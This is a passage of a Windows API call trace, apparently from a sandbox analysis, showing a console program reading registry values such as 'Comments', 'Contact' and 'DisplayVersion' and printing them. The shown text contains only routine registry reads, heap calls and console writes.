GetConsoleOutputCP () returned 0x1b5 [0147.758] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.758] GetConsoleOutputCP () returned 0x1b5 [0147.758] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.758] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.758] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.759] __iob_func () returned 0x7fefd702a80 [0147.759] _fileno (_File=0x7fefd702ab0) returned 1 [0147.759] _errno () returned 0xc4bb0 [0147.759] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.759] _errno () returned 0xc4bb0 [0147.759] GetFileType (hFile=0x50) returned 0x1 [0147.759] lstrlenW (lpString=" ") returned 4 [0147.759] GetConsoleOutputCP () returned 0x1b5 [0147.759] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.759] GetConsoleOutputCP () returned 0x1b5 [0147.759] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.759] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.759] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.759] __iob_func () returned 0x7fefd702a80 [0147.759] _fileno (_File=0x7fefd702ab0) returned 1 [0147.759] _errno () returned 0xc4bb0 [0147.759] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.759] _errno () returned 0xc4bb0 [0147.759] GetFileType (hFile=0x50) returned 0x1 [0147.759] lstrlenW (lpString="") returned 0 [0147.759] __iob_func () returned 0x7fefd702a80 [0147.759] _fileno (_File=0x7fefd702ab0) returned 1 [0147.759] _errno () returned 0xc4bb0 [0147.759] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.759] _errno () returned 0xc4bb0 [0147.759] GetFileType (hFile=0x50) returned 0x1 [0147.759] lstrlenW (lpString="\n") returned 1 [0147.760] GetConsoleOutputCP () returned 0x1b5 [0147.760] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.760] GetConsoleOutputCP () returned 0x1b5 [0147.760] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.760] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.760] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.760] GetProcessHeap () returned 0x2e0000 [0147.760] GetProcessHeap () returned 0x2e0000 [0147.760] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.760] GetProcessHeap () returned 0x2e0000 [0147.760] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.760] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.760] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.760] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.760] GetProcessHeap () returned 0x2e0000 [0147.760] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.760] GetProcessHeap () returned 0x2e0000 [0147.760] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.760] GetProcessHeap () returned 0x2e0000 [0147.760] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.760] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.760] __iob_func () returned 0x7fefd702a80 [0147.760] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.760] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.760] _fileno (_File=0x7fefd702ab0) returned 1 [0147.760] _errno () returned 0xc4bb0 [0147.760] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.761] _errno () returned 0xc4bb0 [0147.761] GetFileType (hFile=0x50) returned 0x1 [0147.761] lstrlenW (lpString=" ") returned 4 [0147.761] GetConsoleOutputCP () returned 0x1b5 [0147.761] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.761] GetConsoleOutputCP () returned 0x1b5 [0147.761] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.761] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.761] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.761] lstrlenW (lpString="Comments") returned 8 [0147.761] __iob_func () returned 0x7fefd702a80 [0147.761] _fileno (_File=0x7fefd702ab0) returned 1 [0147.761] _errno () returned 0xc4bb0 [0147.761] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.761] _errno () returned 0xc4bb0 [0147.761] GetFileType (hFile=0x50) returned 0x1 [0147.761] lstrlenW (lpString="Comments") returned 8 [0147.761] GetConsoleOutputCP () returned 0x1b5 [0147.761] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.761] GetConsoleOutputCP () returned 0x1b5 [0147.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0147.762] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.762] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.762] __iob_func () returned 0x7fefd702a80 [0147.762] _fileno (_File=0x7fefd702ab0) returned 1 [0147.762] _errno () returned 0xc4bb0 [0147.762] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.762] _errno () returned 0xc4bb0 [0147.762] GetFileType (hFile=0x50) returned 0x1 [0147.762] lstrlenW (lpString=" ") returned 4 [0147.762] GetConsoleOutputCP () returned 0x1b5 [0147.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.762] GetConsoleOutputCP () returned 0x1b5 [0147.762] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.762] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.762] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.762] __iob_func () returned 0x7fefd702a80 [0147.762] _fileno (_File=0x7fefd702ab0) returned 1 [0147.762] _errno () returned 0xc4bb0 [0147.762] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.762] _errno () returned 0xc4bb0 [0147.762] GetFileType (hFile=0x50) returned 0x1 [0147.762] lstrlenW (lpString="REG_SZ") returned 6 [0147.762] GetConsoleOutputCP () returned 0x1b5 [0147.763] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.763] GetConsoleOutputCP () returned 0x1b5 [0147.763] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.763] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.763] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.763] __iob_func () returned 0x7fefd702a80 [0147.763] _fileno (_File=0x7fefd702ab0) returned 1 [0147.763] _errno () returned 0xc4bb0 [0147.763] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.763] _errno () returned 0xc4bb0 [0147.763] GetFileType (hFile=0x50) returned 0x1 [0147.763] lstrlenW (lpString=" ") returned 4 [0147.763] GetConsoleOutputCP () returned 0x1b5 [0147.763] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.763] GetConsoleOutputCP () returned 0x1b5 [0147.763] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.763] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.763] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.763] __iob_func () returned 0x7fefd702a80 [0147.763] _fileno (_File=0x7fefd702ab0) returned 1 [0147.763] _errno () returned 0xc4bb0 [0147.763] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.764] _errno () returned 0xc4bb0 [0147.764] GetFileType (hFile=0x50) returned 0x1 [0147.764] lstrlenW (lpString="") returned 0 [0147.764] __iob_func () returned 0x7fefd702a80 [0147.764] _fileno (_File=0x7fefd702ab0) returned 1 [0147.764] _errno () returned 0xc4bb0 [0147.764] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.764] _errno () returned 0xc4bb0 [0147.764] GetFileType (hFile=0x50) returned 0x1 [0147.764] lstrlenW (lpString="\n") returned 1 [0147.764] GetConsoleOutputCP () returned 0x1b5 [0147.764] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.764] GetConsoleOutputCP () returned 0x1b5 [0147.764] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.764] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.764] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.764] GetProcessHeap () returned 0x2e0000 [0147.764] GetProcessHeap () returned 0x2e0000 [0147.764] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.764] GetProcessHeap () returned 0x2e0000 [0147.764] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.764] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.764] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.764] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.764] GetProcessHeap () returned 0x2e0000 [0147.764] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.765] GetProcessHeap () returned 0x2e0000 [0147.765] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.765] GetProcessHeap () returned 0x2e0000 [0147.765] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.765] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.765] __iob_func () returned 0x7fefd702a80 [0147.765] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.765] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.765] _fileno (_File=0x7fefd702ab0) returned 1 [0147.765] _errno () returned 0xc4bb0 [0147.765] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.765] _errno () returned 0xc4bb0 [0147.765] GetFileType (hFile=0x50) returned 0x1 [0147.765] lstrlenW (lpString=" ") returned 4 [0147.765] GetConsoleOutputCP () returned 0x1b5 [0147.765] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.765] GetConsoleOutputCP () returned 0x1b5 [0147.765] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.765] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.765] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.765] lstrlenW (lpString="Contact") returned 7 [0147.765] __iob_func () returned 0x7fefd702a80 [0147.765] _fileno (_File=0x7fefd702ab0) returned 1 [0147.765] _errno () returned 0xc4bb0 [0147.765] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.765] _errno () returned 0xc4bb0 [0147.765] GetFileType (hFile=0x50) returned 0x1 [0147.766] lstrlenW (lpString="Contact") returned 7 [0147.766] GetConsoleOutputCP () returned 0x1b5 [0147.766] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0147.766] GetConsoleOutputCP () returned 0x1b5 [0147.766] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0147.766] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0147.766] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.766] __iob_func () returned 0x7fefd702a80 [0147.766] _fileno (_File=0x7fefd702ab0) returned 1 [0147.766] _errno () returned 0xc4bb0 [0147.766] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.766] _errno () returned 0xc4bb0 [0147.766] GetFileType (hFile=0x50) returned 0x1 [0147.766] lstrlenW (lpString=" ") returned 4 [0147.766] GetConsoleOutputCP () returned 0x1b5 [0147.766] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.766] GetConsoleOutputCP () returned 0x1b5 [0147.767] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.767] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.767] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.767] __iob_func () returned 0x7fefd702a80 [0147.767] _fileno (_File=0x7fefd702ab0) returned 1 [0147.767] _errno () returned 0xc4bb0 [0147.767] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.767] _errno () returned 0xc4bb0 [0147.767] GetFileType (hFile=0x50) returned 0x1 [0147.767] lstrlenW (lpString="REG_SZ") returned 6 [0147.767] GetConsoleOutputCP () returned 0x1b5 [0147.767] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.767] GetConsoleOutputCP () returned 0x1b5 [0147.767] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.767] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.767] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.767] __iob_func () returned 0x7fefd702a80 [0147.767] _fileno (_File=0x7fefd702ab0) returned 1 [0147.767] _errno () returned 0xc4bb0 [0147.767] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.767] _errno () returned 0xc4bb0 [0147.767] GetFileType (hFile=0x50) returned 0x1 [0147.767] lstrlenW (lpString=" ") returned 4 [0147.768] GetConsoleOutputCP () returned 0x1b5 [0147.768] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.768] GetConsoleOutputCP () returned 0x1b5 [0147.768] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.768] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.768] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.768] __iob_func () returned 0x7fefd702a80 [0147.768] _fileno (_File=0x7fefd702ab0) returned 1 [0147.768] _errno () returned 0xc4bb0 [0147.768] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.768] _errno () returned 0xc4bb0 [0147.768] GetFileType (hFile=0x50) returned 0x1 [0147.768] lstrlenW (lpString="") returned 0 [0147.768] __iob_func () returned 0x7fefd702a80 [0147.768] _fileno (_File=0x7fefd702ab0) returned 1 [0147.768] _errno () returned 0xc4bb0 [0147.768] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.768] _errno () returned 0xc4bb0 [0147.768] GetFileType (hFile=0x50) returned 0x1 [0147.768] lstrlenW (lpString="\n") returned 1 [0147.768] GetConsoleOutputCP () returned 0x1b5 [0147.768] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.768] GetConsoleOutputCP () returned 0x1b5 [0147.769] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.769] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.769] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.769] GetProcessHeap () returned 0x2e0000 [0147.769] GetProcessHeap () returned 0x2e0000 [0147.769] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.769] GetProcessHeap () returned 0x2e0000 [0147.769] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.769] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.769] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.769] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x20) returned 0x0 [0147.769] GetProcessHeap () returned 0x2e0000 [0147.769] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x22) returned 0x2f5bf0 [0147.769] GetProcessHeap () returned 0x2e0000 [0147.769] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0147.769] GetProcessHeap () returned 0x2e0000 [0147.769] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x22 [0147.769] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f5bf0, pcbData=0x23f670*=0x20 | out: pdwType=0x23f5f0*=0x1, pvData="16.0.8326.2076", pcbData=0x23f670*=0x1e) returned 0x0 [0147.769] __iob_func () returned 0x7fefd702a80 [0147.769] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.769] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.769] _fileno (_File=0x7fefd702ab0) returned 1 [0147.769] _errno () returned 0xc4bb0 [0147.769] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.769] _errno () returned 0xc4bb0 [0147.769] GetFileType (hFile=0x50) returned 0x1 [0147.769] lstrlenW (lpString=" ") returned 4 [0147.769] GetConsoleOutputCP () returned 0x1b5 [0147.770] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.770] GetConsoleOutputCP () returned 0x1b5 [0147.770] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.770] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.770] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.770] lstrlenW (lpString="DisplayVersion") returned 14 [0147.770] __iob_func () returned 0x7fefd702a80 [0147.770] _fileno (_File=0x7fefd702ab0) returned 1 [0147.770] _errno () returned 0xc4bb0 [0147.770] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.770] _errno () returned 0xc4bb0 [0147.770] GetFileType (hFile=0x50) returned 0x1 [0147.770] lstrlenW (lpString="DisplayVersion") returned 14 [0147.770] GetConsoleOutputCP () returned 0x1b5 [0147.770] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0147.770] GetConsoleOutputCP () returned 0x1b5 [0147.770] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0147.770] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0147.771] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.771] __iob_func () returned 0x7fefd702a80 [0147.771] _fileno (_File=0x7fefd702ab0) returned 1 [0147.771] _errno () returned 0xc4bb0 [0147.771] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.771] _errno () returned 0xc4bb0 [0147.771] GetFileType (hFile=0x50) returned 0x1 [0147.771] lstrlenW (lpString=" ") returned 4 [0147.771] GetConsoleOutputCP () returned 0x1b5 [0147.771] WideCharToMultiByte (in: CodePage=0x1b5, 